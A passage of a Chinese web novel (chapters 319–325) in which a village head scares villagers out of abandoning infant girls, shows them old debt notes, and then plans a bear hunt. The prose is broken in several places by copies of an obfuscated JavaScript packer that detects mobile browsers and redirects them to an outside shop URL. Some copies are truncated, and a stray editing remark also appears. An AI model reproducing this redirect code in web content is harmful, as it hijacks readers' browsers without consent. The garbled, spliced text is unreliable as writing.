刀身兀自颤动,嗡嗡作响,仿佛一条蓄势待发的毒蛇。 “啊!” 倪老远猝不及防,直接被吓得一屁股坐在地上。 一股骚臭味弥漫开来,他裤裆肉眼可见地湿了一大片。 第三百一十九章 脸色煞白如纸,眼神涣散,嘴唇哆嗦着,像风中残烛般摇摆不定。 “村……村正,俺……俺错了……俺再也不敢了……您就饶了俺这一回吧……” 求饶的声音,细若蚊蝇。 苏阳却看都没看他一眼,目光如炬,缓缓扫视着一众村民。 那眼神,仿佛能洞穿人心。 “莫觉得我在画蛇添足!” 他冷哼一声,嘴角勾起一抹嘲讽的弧度。 “你们知道那些被爹娘弄死的孩子,最后都去了哪儿吗?” 苏阳故意顿了顿,环视四周,观察着村民们的反应。 有人茫然,有人恐惧,也有人……不以为然。 “哼,有些人自以为聪明,” 他语气一转,带着几分鄙夷, “以为弄死女娃,从此阴魂不会寻上门?简直愚蠢至极!” “我告诉你们,简直就是胡说八道!” 苏阳可不是信口开河。这种事,不光青龙村有,外面村子也有。 那些人为了生儿子,啥缺德事干不出来? “我今天就把话撂在这儿,” 苏阳提高了嗓门,声音在空地上回荡,带着不容置疑的威严, “那群遭受折磨丧命的幼童,会变成厉鬼!” “她们的魂魄无处可去,只能待在你们家附近,日夜徘徊,就等着报仇!” 他指了指不远处的几间破败的房屋, “哪天你们走了背运,她们就会像恶狼一样扑上来,让你们家破人亡,鸡犬不宁!” 他故意停顿了一下,观察着众人的反应。 “我苏二好歹也是在菩萨面前伺候过的,这些事情,我能不知道?” 苏阳的声音低沉而有力,每一个字都像钉子一样,狠狠地砸进村民的心里, “你们仔细想想,村里那些扔过孩子的人家,哪一家有好下场了?” 果然,不少人听了这话,都开始小声嘀咕起来。 “这么一说,好像还真是……” “王癞子家前年扔了个女娃,结果呢?他家婆娘去年就得了怪病**!” “还有李瘸子,他家……” 看着村民们脸上的神色变化,苏阳知道,自己的话起作用了。 不过,光吓唬还不够。 他清了清嗓子,继续说道: “我知道,有些人心里肯定不服,觉得这是自家的事,跟我苏二没关系。” “那你们就大错特错了!” 苏阳猛地一拍大腿,声音陡然拔高, “我告诉你们一个秘密,这可是老天爷的秘密!” 他故意压低了声音,环顾四周,仿佛怕被什么人听到似的, “这事儿,我只说一遍,以后谁也别来问我!” 几个胆小的村民一听这话,吓得脸都白了,连忙摆手: “阳哥儿,别说了,别说了,俺们信你还不行吗?” “是啊村正,这可是老天爷的秘密,说出来要遭雷劈的!” “……” 苏阳要的就是这个效果。 他故作犹豫地叹了口气, “唉,罢了罢了,既然话都说到这份上了,我不说也不行了。” “你们都给我听好了!” 他猛地一跺脚, “这青龙村,就是一个锅!咱们都是锅里的蚂蚱!” “一家出了事,全村都得跟着倒霉!” 他指着村口那棵老槐树, “你们以为,为啥咱们青龙村祖祖辈辈都这么穷?” “还不是因为有些人造孽太多,连累了大家!” “你们说,这事儿,我该不该管?” 人群中,一个老妇人突然“哇”的一声哭了出来, “作孽啊!俺说这些年咋一直不顺当,原来是遭了报应啊!” 她这一哭,立刻引来了其他人的议论。 “他二婶,你哭啥?你家不也扔过孩子吗?” “你放屁!俺家那是……那是……” “是啥?你倒是说啊!” “……” 看着村民们争吵的样子,苏阳知道,自己这把火算是烧起来了。 他要的就是这个效果,要让所有人都知道,扔孩子不仅仅是害了自己,更是害了整个村子! 苏阳深吸一口气,平复了一下激荡的心情。 他知道,现在是时候做个了结了。 “好了,都别吵了!” 苏阳提高了声音,制止了村民们的争吵, “今日言语就此为止,大家伙儿都表个态,往后谁还敢抛弃婴儿,咱们该怎么办?”“杀!杀!杀!” 声浪滔天,仿佛要把这混沌世道都给劈开。 苏阳手底下这帮半大小子,个个像是被灌了**汤,眼珠子赤红。 这阵仗,可不是头一回了。 想当初在三溪镇,就这么一嗓子,吓得方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582889|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆十里,连耗子都得绕道走。 那神气活现的吕巡检,还不是屁滚尿流地逃了? 村里人哪见过这等场面,心都快从嗓子眼里蹦出来了。 这帮小子,可不管三七二十一,真要闹出点啥…… 特别是倪老远,裤裆里头,黄汤都出来了,那叫一个骚气熏天。 他“扑通”一下跪在地上,脑袋磕得像捣蒜: “村正!巡检老爷!俺……俺可不敢了!” “俺这就回去,把娃当祖宗供着,再也不说您跟俺婆娘那点事儿了!” 静。 比坟头还静。 所有人的眼光,都死死地盯在苏阳身上,像要把他给生吞活剥了。 这下子,大伙儿心里都门儿清了。 怪不得苏二发这么大火,原来是这么档子事! 倪老远这话里话外的意思,莫不是他要扔的娃,是苏阳和他婆娘的私生子? 还真别说,那娃的模样,仔细一瞧,跟苏阳还真有几分像! 苏阳恨不得一脚送倪老远归西。 这混账东西,嘴上没个把门的,自己好不容易造的势,全让他给搅和了! 不过,苏阳是啥人? 能被这点小场面给唬住? 赶在众人反应过来之前,苏阳开了口,声音不大,却字字清晰: “倪老远,你个龟孙儿,少给老子耍这套!” 他猛地一拍大腿,那架势,像是要把倪老远给生吃了: “看在老乡一场的情分上,老子还想给你留点脸面!” “现在看来,你这脸,是真不要了!” “中,那老子就把话给你说明白了,省得你晚上睡不着觉!” 这话一出,人群里“嗡”的一声,炸了。 还有内幕? 究竟还有多少秘密没被揭开? 今儿个这热闹,可真是赶上了! 一个个的,眼珠子瞪得比牛还大,耳朵竖得比兔子还长,生怕漏掉一个字。 “倪老远,你个王八羔子给老子听好了!” 苏阳的声音,拔高了不止一个调门, “当年你娶媳妇的时候,老子年纪小,还没开窍,有些事儿,说不清楚!” “现在,老子啥都明白了!” “当年老子压根就不是摸你婆娘屁股,是瞅见你俩办事的时候,有个脏东西要往你婆娘肚子里钻!” “老子那是帮你挡煞! 第三百二十章 一巴掌把那玩意儿给扇飞了!” 人群里,顿时炸开了锅。 乱哄哄的,啥也听不清。 可就是没人怀疑苏阳在胡诌。 打从苏阳掉进冰窟窿,这人就跟换了个魂儿似的。 你要说他不是神仙转世,谁都不带信的。 况且,苏阳说的,有鼻子有眼的,就算是打死个庄稼汉,也编不出这么圆。 青龙村里,老老少少,谁有这能耐? 压根就没人能想得到这些神神叨叨的事儿! 除了神仙下凡,还能咋解释? 至于那“脏东西”是个啥,大伙儿不清楚。 可拿脚后跟想也知道,那肯定不是啥好玩意! 指不定比那要命的鬼还邪乎! 要不是苏阳,倪老远这会儿估计连骨头渣子都不剩了! 倪老远也傻眼了,张着个大嘴,半天说不出话来。 难不成……苏二说的都是真的? 他真没跟自己婆娘有一腿? 就在这时,孔远山跳了出来,扯着嗓子喊道: “倪老远,你也用点脑子想想!” “阳哥儿是啥人?能瞧得上你婆娘那样的?” “你好好瞅瞅,巡检夫人,杨家小姐,还有翠环姑娘,哪个不比你婆娘长得俊?” 钱福生一听,鼻子都气歪了。 这混小子,说啥胡话呢! 提苏二的童养媳就得了,干啥扯上老子的宝贝闺女? 钱晓柔羞得恨不得找个地缝钻进去。 这叫啥事啊! 咋还把自己给绕进去了? 小翠环也红了脸,一个劲儿地拿眼睛瞟苏阳,水汪汪的大眼睛里,也不知道在琢磨啥。 苏阳狠狠地瞪了孔远山一眼。 这小子,就是欠收拾! 不过,孔远山这话,倒也说到了点子上。 众人一合计,还真是这么回事。 就苏二这能耐,还愁找不着媳妇? 能看上倪老远家那生过娃的婆娘? 不过…… 有人开始上下打量陈二姐,那眼神,跟狼见了肉似的。 苏阳一看这苗头不对,赶紧把话给拉了回来: “都别瞎琢磨,这事儿跟你们没关系!” 他转向倪老远,语气缓和了一些: “倪老远,我看你对这婆娘也没啥感情了,干脆,离了算了!” “陈二姐,你也别担心,往后我给你做主!” “村里光棍多得是,随便挑一个也比倪老远这废物强!” “以后你想生多少就生多少,没人敢说你闲话!” “村正,别,别说了,俺求您了!” 倪老远这下是真慌了,连滚带爬地扑到陈二姐脚边,抱着她的大腿就哭开了: “媳妇儿,俺错了,我发誓从此金盆洗手,俺好好过日子……” “俺去村正那儿干活,挣钱养活你和娃,你可千万别跟俺离啊……” 苏阳没再理会倪老远,朝身后一招手。 几个壮小伙抬着个大红箱子,晃晃悠悠地走了过来。 所有人的目光,都被这箱子给吸了过去。 这里头,装的是啥? 总不能又是银子吧? “吱呀”一声,箱子开了。 大伙儿定睛一瞧,都愣住了。 满满一箱子,不是金银,也不是绸缎,而是一沓沓泛黄的纸。 “这是……” 有人忍不住问出了声。 苏阳从箱子里头,抽出一张纸,在手里抖了抖,上面似乎还有干涸的血迹: “倪老远,你过来,好好看看,这是啥!” 倪老远连滚带爬地凑了过去,眯着眼瞅了半天,摇了摇头。 “不……不认得……” “不认得?我告诉你这是什么!” 苏阳把那张纸举到倪老远眼前, “这上面写的,是你爷爷欠韩家的债,还有血手印!” “不止你家,村里不少人家里,都跟韩家有旧账!” 他顿了顿,扫视了一圈众人,声音里透着一股子寒气: “如今,这些借据,都在我手里!” “赖志成他婆娘说了,这些旧账,一笔勾销!” “不过……” 苏阳话锋一转,盯着倪老远, “你家欠的,得还!” “不仅要还,还得加倍地还!” “当年你爷爷借的五斗粮食,现在,你得还五十石!” “啥?” 倪老远一声怪叫,差点没蹦起来。 “村……村正,俺……俺哪有那么多粮食啊……” 他“扑通”一声跪倒在地, “俺就是把自己卖了,也还不上啊……” “还不上?” 苏阳冷笑一声, “还不上就拿命抵!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路旭东的老爹一听,心头一紧,以为苏阳要拿借据要挟他。 可谁知,苏阳把借据往他面前一送,看那意思,竟是要物归原主。 路旭东的老爹眼睛一亮,手都伸出去了,就差没把借据抢过来了。 可就在这时,苏阳手腕一翻,又把借据给收了回去,跟变戏法似的。 第三百二十一章 “得,还是我先替您保管着吧。”苏阳轻飘飘地来了一句。 路旭东的老爹伸出去的手僵在半空,脸上的表情那叫一个五味杂陈,像是吞了只死苍蝇。 这……这算什么事儿啊! 紧接着,苏阳又从箱子里摸出一张借据,换了个人招呼: “罗大叔,您眼神好,给瞅瞅,这是不是您家的……” 毕明志的老爹一看,刚升起的那点希望,又被苏阳一盆冷水给浇灭了。 和刚才如出一辙,苏阳把借据展示了一下,又给收了回去,压根没打算还给他。 老毕的脸都绿了,想骂人,又不敢张嘴。 “哟……张大叔,您也来看看,这是不是您家的……” 老孙彻底没脾气了,连眼皮都懒得动一下。 …… 就这么着,苏阳接连“展示”了十几张借据。 邪门的是,没一张是真还给原主的。 这下,村民们可不干了,一个个眼睛瞪得像铜铃,恨不得把苏阳给生吞活剥了。 “苏二,你到底想干啥?不还给俺们,你拿出来显摆啥?耍猴戏呢?”终于有人憋不住了,扯着嗓子质问。 苏阳眼皮一撩,冷飕飕地扫了那人一眼: “怎么,你们都想拿回自家的借据?” 村民们齐刷刷地点头,嘴上不敢吱声,心里头早就炸开了:废话!不想拿回来,谁还眼巴巴地瞅着?你倒是还给俺们啊! 苏阳嘴角一勾,露出一抹意味深长的笑容:“想拿回去?成啊,来,谁要是能认出自己家的借据,我就还给他。” 村民们一听,差点没乐疯了: “真的?村正您真是大好人啊!” “先别忙着戴高帽!”苏阳一抬手,打断了众人的吹捧,“我把话撂这儿,谁要是认不出自家的借据,可别怪我不客气。” “这……” 原本已经冲到箱子跟前的村民们,又硬生生停下了脚步,你看看我,我看看你,都傻眼了。 这时候大伙儿才猛然想起,自己压根就不识字,这可咋整? “哼,平时咋跟你们说的?让你们多读书识字,你们一个个都跟我打马虎眼,现在知道抓瞎了吧?谁要是认识自家的借据,尽管拿走!”苏阳的声音冷得像冰块。 村民们一个个都蔫了,像霜打的茄子。 这事儿真不能怨苏二,要怨就怨自己没本事。 借据就摆在眼前,选择困难症犯了,真是丢人现眼! 苏阳眼珠子一转,又想出个主意: “这样吧,你们可以让家里人帮忙认,只要家里有人识字,找出来就算数!” 不少村民立马把目光投向了自家孩子,那眼神,简直能把孩子给烤熟了。 这些孩子,可都是在苏阳的书院里念过书的。 可不少孩子都快吓尿了。 他们才学了几个字啊,哪能从这么一大堆借据里找出自家的?这不是赶鸭子上架吗? “村正,我……我能试试吗?” 人群中,一个小丫头怯生生地举起了手。 这是周阳的妹妹,上次考试还得了头名,苏阳亲手赏了她两百文钱。 苏阳点了点头,语气也柔和了几分:“去吧,好好找。” 周小妹在众人的注视下,走到箱子跟前,小手在里面扒拉了一阵,很快就找到了她家的借据。 苏阳接过来一瞧,没错,是周阳家的。 “拿去吧,”苏阳把借据递给周小妹,“好好读书,将来一定有出息。” 苏阳这么一鼓励,又有几个孩子壮着胆子,上前找出了自家的借据。 这下,那些识字不多的孩子可就彻底慌了神。 因为他们家人的眼神,已经快要把他们给千刀万剐了。 同样都是在书院念书,人家咋就能找出来,你们咋就不中用? 几个胆小的孩子,直接被吓得“哇哇”大哭: “爹,娘,我错了,我以后一定好好念书,这下可得卷起来了……” 苏阳一看,时机成熟了,“啪”的一声合上了箱子。 他这一手,把那些还没来得及找借据的人吓得一激灵。 “苏……苏村正,您这是啥意思?”有人哆哆嗦嗦地问。 “我给你们半个月的时间,”苏阳慢条斯理地说,“半个月后,要是你们还认不出自家的借据,那可就别怪我翻脸无情了。到时候,我可就得照着借据上的数目收账了!” “啥?!” 村民们一听这话,差点没吓得魂飞魄散,一个个头发都竖起来了。 那些家里有孩子在书院念书的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个个吓得大气都不敢喘,生怕哪天这把火烧到自己头上。 谁成想,苏阳压根就没把这当回事! 第三百二十二章 在苏阳眼里,这些破纸片子,还不如拿来给书院里的娃子们当草纸使。 转过头,他就把这事跟书院的先生提了。 韩家看得比命根子还紧的东西,苏阳就拿它来督促孩子们念书。 这事办的,敞亮! 局气! 一帮小子对苏阳,那是佩服得五体投地,恨不得把心掏出来给苏阳看看,啥叫忠心耿耿! 不光是他们,村里哪个不是心里跟明镜似的? 都说咱青龙村祖坟冒青烟了,出了苏阳这么个好村正! 往后的日子,有奔头! 苏阳呢,他图啥? 他可不是那起子黑心烂肺的土财主。 他琢磨着,赖志成手里捏着一堆欠条,有啥用? 到头来,还不是横尸荒野? 这年头,手里没点儿真本事,别说一箱子借据,你就是穿上龙袍,也照样是个短命鬼! 再说倪老远那档子事。 苏阳眼睛一眯,把倪老远从头到脚扫了一遍,心里那杆秤来回晃悠。 他不想把人往死路上逼。 扔孩子这事,搁在哪朝哪代都不少见。 真要一个个拎出来算账,这青龙村还不得成光棍村? 可不罚,又怕这孙子蹬鼻子上脸。 思来想去,这事还真不好办。 总不能真把他弄死,然后养着他老婆孩子吧? 那不成了趁火**,霸占**? 苏阳可丢不起这人! 巧了,倪老远那婆娘也是个厉害角色,一把鼻涕一把泪地跪在苏阳面前,死命地磕头。 苏阳心一软,得了,就坡下驴吧: “倪老远,你个**给老子听清楚了!今儿看在你婆娘的面子上,老子饶你一回!” 苏阳故意拉长了声音,拿眼角余光扫了一圈,把众人的反应尽收眼底。 “但你给老子记住了,下回再敢犯浑,新账旧账一起算!” 他顿了顿,语气一变: “明儿个起,你到我那厂区干活去,挣钱养家糊口!” “要是敢偷奸耍滑……” 苏阳“啪”地一声,一巴掌拍在桌子上,震得茶碗都跳了起来, “老子就把你扔到卧龙沟里喂鱼!也省得你在这儿丢人现眼!” 这话,一半是说给倪老远听的,一半也是说给其他人听的。 既然把孩子留下了,就得让她好好活着。 不然,传出去像什么话? 还不得落个假仁假义的名声? “是是是,小的明白,小的明白……” 倪老远脑袋点得跟捣蒜似的,冷汗把后背都浸湿了。 旁边,几个村民眼珠子都红了。 **,这倪老远走了什么狗屎运! 不但没挨罚,还攀上了村正这条大腿! 要知道,村正那厂区,可是个肥差! 管饭不说,工钱还高! 这事闹的,苏二这小子,该不会真看上倪老远那婆娘了吧? 苏阳哪管得了这些闲言碎语。 他站起身,清了清嗓子,声音洪亮, “乡亲们!今儿个,我苏阳把话撂在这儿!青龙村,是咱们大伙儿的青龙村!” 他伸手指着在场的每一个人, “从今儿起,谁要是敢干那对不起青龙村的事儿,就是跟咱们所有人过不去!” 苏阳这话说得敞亮。 他可没读过啥“管理学”,但他心里清楚,要想让这帮人卖力,就得让他们知道,这是为自己干活! 果然,一番话下来,村民们一个个跟打了鸡血似的,眼珠子都红了。 活了这么些年,今儿算是活明白了! 原来这青龙村,不是哪一个人的,是大家的伙的! 给青龙村干活,就是给自己干活! “村正说得对!” “谁敢再搞这种骚操作,老子第一个不答应!” 人群里,叫好声、应和声响成一片。 这下,倪老远可慌了神。 他发现,大伙儿都拿眼斜楞他,那眼神,像是要把他生吞活剥了似的。 谁让他想扔孩子来着? 苏阳可是说了,扔孩子,那是造孽! 会坏了村里的风水! 青龙村这些年这么穷,肯定就是有人缺德事干多了! 如今好不容易盼来了苏阳,眼瞅着就要时来运转, 谁要是敢在这节骨眼上掉链子,那就是跟全村人过不去! 倪老远越想越怕,两条腿肚子直哆嗦。 就在这时,外头突然传来一阵急促的脚步声。 一个在卧龙沟北岸看厂区的帮工,连滚带爬地冲了进来, “西家!西家!不好了!出大事了!” 那帮工脸色煞白,说话都带着哭腔, “咱……咱的驴……没了!” “嗯?” 苏阳一愣,眉头拧成了疙瘩。 这叫什么事? 刚给倪老远上完眼药,自家驴就出事了? 不会这么邪门吧? 他定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585056|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定神,问道: “咋回事?别慌,慢慢说!” “驴……驴让熊瞎子给祸害了!” 帮工喘着粗气,指着北边, “一头熊瞎子,从山里窜出来,把咱的驴给……” “熊瞎子?!” 苏阳一惊,蹭地站了起来。 不光是他,在场的人都惊呆了。 这大冷的天,哪来的熊瞎子? 青岭里倒是有熊,可那都是夏天才出来撒欢。 大冬天,不都应该猫在洞里睡大觉吗? 谁听说过熊瞎子冬天出来祸害人的? “人呢?有没有人伤着?” 苏阳顾不上别的,急忙问道。 人命关天,这可不是闹着玩的! “人没事,人没事!” 帮工连连摆手, “熊瞎子一出来,大伙儿都吓跑了。就咱家那头犟驴,非得跟熊瞎子过两招,结果……唉!” 帮工说着,叹了口气。 “熊瞎子把驴拖哪去了?” 苏阳没心思听这些,打断了帮工的话。 “拖山里去了……” “走,看看去!” 苏阳说着,大步流星往外走。 身后,呼啦啦跟上一大帮人,有苏阳手底下的小子,也有村里的壮劳力,还有阴弓叔。 一行人浩浩荡荡,直奔卧龙沟北岸。 到了地方,远远就看见几个帮工在那儿转悠,一个个愁眉苦脸,不知如何是好。 见苏阳来了,像是见了救星,赶紧围了上来。 “西家,您可来了,这可咋办啊?” “西家,那熊瞎子太厉害了,咱可不敢惹啊!” 几个人你一言我一语,说的都是熊瞎子的事。 苏阳没理会他们,转头问阴弓叔: “七叔,这事您怎么看?” 阴弓叔吧嗒吧嗒抽着旱烟,眉头紧锁: “阳哥儿,这事不寻常啊。按理说,熊瞎子这会儿应该在洞里猫冬,不应该出来啊。” “您的意思是,这熊瞎子不是一般的熊瞎子?” “八成是。这大冬天的出来,不是饿急了眼,就是让人给惊着了。” 阴弓叔吐出一口烟, “不管是哪一种,这熊瞎子都留不得。” 苏阳点点头, “七叔说的对,必须除了它!今儿是驴,明儿说不定就是人!” 他环视了一圈众人,沉声道: “这畜生今儿尝到了甜头,保不齐明儿还来! 第三百二十三章 真要伤了人,哭都来不及!” 阴弓叔面露难色,嘬了嘬牙花子: “阳哥儿,理是这个理,可这熊瞎子不好对付啊!尤其是冬天的熊瞎子,又饿又凶,一个不小心……” 他没往下说,但意思很明白。 万一出了事,谁也担不起这个责任。 “七叔,您放心,我心里有数。” 苏阳拍了拍阴弓叔的肩膀, “这事不能拖,越拖越麻烦。您就瞧好吧!” 他转过身,目光炯炯地盯着青岭的方向。苏阳做事向来不拖泥带水。 不过,进山这事急不得。 眼瞅着日头西斜,暮色渐浓,再加上大伙儿忙活了一整天,身子骨都乏了。这时候进山,跟找死没啥区别。 他叮嘱阴弓叔回去好生歇息,养足精神头儿,自己则领着一帮兄弟打道回府。 一进家门,林绮娘立马换了副面孔。 没了外人在场,她也卸下了平日里的淑女伪装,三两步蹿到苏阳跟前,小手一把拽住他的衣裳,滴溜溜的大眼睛里满是好奇。 要说这丫头也是怪,最近越发文静,也不知是跟谁学的,八成是不想让钱晓柔那妮子给比下去。 苏阳也懒得管她,小丫头片子,只要不学坏,爱咋折腾咋折腾。 再说,要不是为了当这个啥副巡检,他才懒得穿这身行头。 什么宽袍大袖,穿着像个唱戏的,捆手捆脚。 林绮娘却两眼放光,小手摸了又摸:“二哥,这身衣裳真俊!明儿还穿不?” “不穿了,碍事。”苏阳随手脱下,丢给林绮娘,“喜欢就拿去玩,仔细别弄坏了。” “嘻嘻,二哥最好了!”林绮娘抱着官服,眉开眼笑。 苏阳见她欢喜,心里也舒坦,伸手捏了捏她的小脸蛋。 “哎呀,二哥你又欺负我……”林绮娘娇嗔一声,脸颊泛起一抹红晕。 “咳咳……苏老弟,可在屋里?” 门外突然响起一阵轻咳,打断了屋里的嬉闹。 一听这声儿,苏阳就知道是钱福生。 林绮娘像是受惊的小鹿,抱着官服一溜烟躲进了里屋,还顺手把门给带上了。 “进来吧。” 苏阳应了一声,钱福生推门而入。 只见他眼圈发黑,一脸疲态,像是被什么妖精吸干了精气。 苏阳强忍着笑意,心说:老钱啊老钱,你这副模样,不知道的还以为你昨晚干啥坏事去了呢。 钱福生见苏阳憋笑,心里更不是滋味,暗骂:你小子懂个屁,这几天给人按得腰酸背痛,你试试? “苏老弟啊……”钱福生吞吞吐吐,欲言又止。 “有话直说,别吞吞吐吐的。”苏阳看他那扭捏样儿就来气。 “那个……我……”钱福生支支吾吾,眼神闪躲。 苏阳心头一紧,这老家伙该不会是想赖上我吧? “老钱,我可把话撂这儿,绮娘是我的人,你可别打什么歪主意!天王老子来了也不好使!” 苏阳先声夺人,把话给堵死。 钱福生一听,差点没气晕过去:“放你的狗屁!谁稀罕你!我是说……” “说啥?难不成你还想把你闺女硬塞给我?告诉你,门儿都没有,窗户也给你焊死!”苏阳瞪大了眼睛。 “你……你血口喷人!”钱福生气得浑身发抖,“我……我是想说,既然顾明远已死,我是不是能回清阳县了?” 苏阳故作恍然大悟:“哎呀,瞧我这记性,把这茬儿给忘了。不过……” “不过什么?”钱福生心里燃起一丝希望。 “不过,你现在回去,怕是不妥。” “放屁!你少在这儿假惺惺!顾明远都**,还有谁会找我麻烦?”钱福生怒道。 “老钱啊,你怎么就不明白呢?”苏阳一副痛心疾首的样子,“我是为你好!这年头,人苏亦苏,三人成虎,你得有点儿自己的判断!” “少跟我来这套!我亲耳听见你手下人说的,顾明远就是你亲手干掉的!你还想抵赖?”钱福生不依不饶。 “哦……这么回事啊,你不说我都快忘了。好像……也许……可能……是有这么一档子事……” 苏阳开始装傻充愣。 “你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱福生心里那个憋屈啊,可又无力反驳。 这几天,他给青龙村的村民们又是推拿又是按摩,累得腰都快断了。 可村民们呢?除了几句好话,啥表示也没有! “你小子……少得了便宜还卖乖!”钱福生咬牙切齿。 他有气无力地走了。留下也是自取其辱。 钱福生一走,林绮娘就从里屋跑了出来,一脸崇拜地看着苏阳:“二哥,你真厉害!” (文段2修改结束) 苏阳一愣,这妹子咋回事,眼睛湿漉漉的? 哦,明白了。 原来是刚刚许诺要娶她进门,谁也别想抢走她,妹子被感动得不要不要的。 苏阳刚准备趁热打铁,谁料妹子说变就变,喜怒无常,嘟着粉嫩的小嘴巴,心情跌到谷底。 “绮娘,怎么了,嘴巴都要翘上天了,都能挂个酱油瓶了。” 苏阳不提还好,刚一提驴,林绮娘瞬间泪如雨下。 “二……二哥,咱的驴……这也太惨了吧……” 苏阳:“……”对于精打细算过日子的林绮娘来说,家里少了一头驴,无异于剜了她一块肉。 以前在外面人多,小丫头要强,怕给苏阳丢人,愣是咬着牙没哭。 现在四下无人,只剩下他们兄妹俩,苏阳又提起这茬。 林绮娘再也绷不住了,眼泪像断了线的珠子,哗啦哗啦直接掉落。 苏阳哪见过这阵仗? 平日里天不怕地不怕的主,现在也慌了神,手足无措地在屋里来回转圈。 他最见不得女人哭,尤其是小丫头片子哭。 苏阳感觉脑瓜子里嗡嗡的,像是有几百只苍蝇在开大会。 “绮娘,不哭了啊,乖,二哥明天就进山,把那头熊瞎子给宰了,为咱家的小毛驴讨回公道!” 话还没说完,林绮娘的哭声就小了下去。 小丫头猛地抬起头,一把抓住苏阳的胳膊,指甲都快嵌进肉里了: “二哥,你可不能去!咱不要驴了还不成吗?你答应我,哪儿也不许去!” 说着,林绮娘的眼圈又红了,眼看着泪水又要涌出来。 “得得得,我不去了,我不去了还不行吗?” 苏阳连忙改口,生怕说晚了,林绮娘的眼泪又要决堤。 “不行!二哥你说话不算数,你就会哄我!” 林绮娘不依不饶,带着哭腔的控诉让苏阳哭笑不得。 “好好好,我发誓,我要是进山,就……就让我天打五雷轰!” 苏阳举起三根手指,信誓旦旦,赌咒发誓。 谁知,林绮娘“哇”的一声又哭了出来,猛地扑上来捂住他的嘴: “呸呸呸!不许瞎说!二哥你要是被雷劈了,绮娘可咋活啊!” 苏阳哭笑不得,心里却是暖烘烘的。 这种被人惦记的感觉,真不赖。 年轻真好,可惜,兄弟那逝去的黄金时代! …… 第二天,苏阳雄心勃勃的复仇计划还没开始就宣告破产。 倒不是他昨晚被小丫头缠得脱了力,主要是因为老天爷变脸——下雪了。 雪虽然不大,只是薄薄地铺了一层,却也足以掩盖熊瞎子留下的所有痕迹。 望着银装素裹的青岭,苏阳心里那叫一个憋屈。 这该死的雪,早不下晚不下,偏偏这时候来搅局! 时间拖得越久,大黑熊留下的足迹渐渐模糊,等雪化了,那就更没戏了。 “阴弓叔,雪停了,但咱不能等!今天必须进山,我就不信找不着那畜生!” 苏阳咬牙切齿,一拳砸在光秃秃的树干上,震得枝头的积雪簌簌落下。 阴弓叔知道苏阳的脾气,也明白他心里的憋屈,更何况,他心里也窝着火呢。 “行,阳哥儿,咱们走!” 阴弓叔一挥手,带着一帮摩拳擦掌的小子进了山。 这么多精壮的小伙子,要是还怕一头熊,那以后就别在青龙村混了! 这种阵仗,阴弓叔以前做梦都不敢想。 这次机会要是错过了,以后可就难找了。 不过,猎熊可不比猎野猪,苏阳可不敢掉以轻心。 他把村里能打的小子都带上了,只留二小子和褚勇看家,顺便操练新来的那些人。 新来的小子们也嚷嚷着要进山开开眼,被苏阳和阴弓叔拦下了。 没上过战场,没见过血,真要碰上熊瞎子,能不吓尿裤子就不错了。 跟青虎岭那帮土匪干了一仗,苏阳算是长了记性:打仗不是人多就行,没练过的,没士气的,人越多越坏事。 阴弓叔说,下点小雪不碍事,反而更容易打猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前看苏阳带着人练滑冰,阴弓叔眼馋得不行,硬是缠着苏阳教会了他。 这不,去依山村正好用上。 第三百二十五章 阴弓叔穿着苏阳送的雪橇,呲溜一下就滑下了卧龙沟,眨眼就没影了。 去依山村的路,苏阳也听阴弓叔念叨过。 沿着卧龙沟往东北,过三溪镇,再往北,能一直滑到临溪村。 从临溪村上岸,往西北走五里地,就是依山村地界。 这依山村和青龙村,听着名字像是一伙的,其实风水差着十万八千里。 青龙村好歹还有几块能种庄稼的地儿。 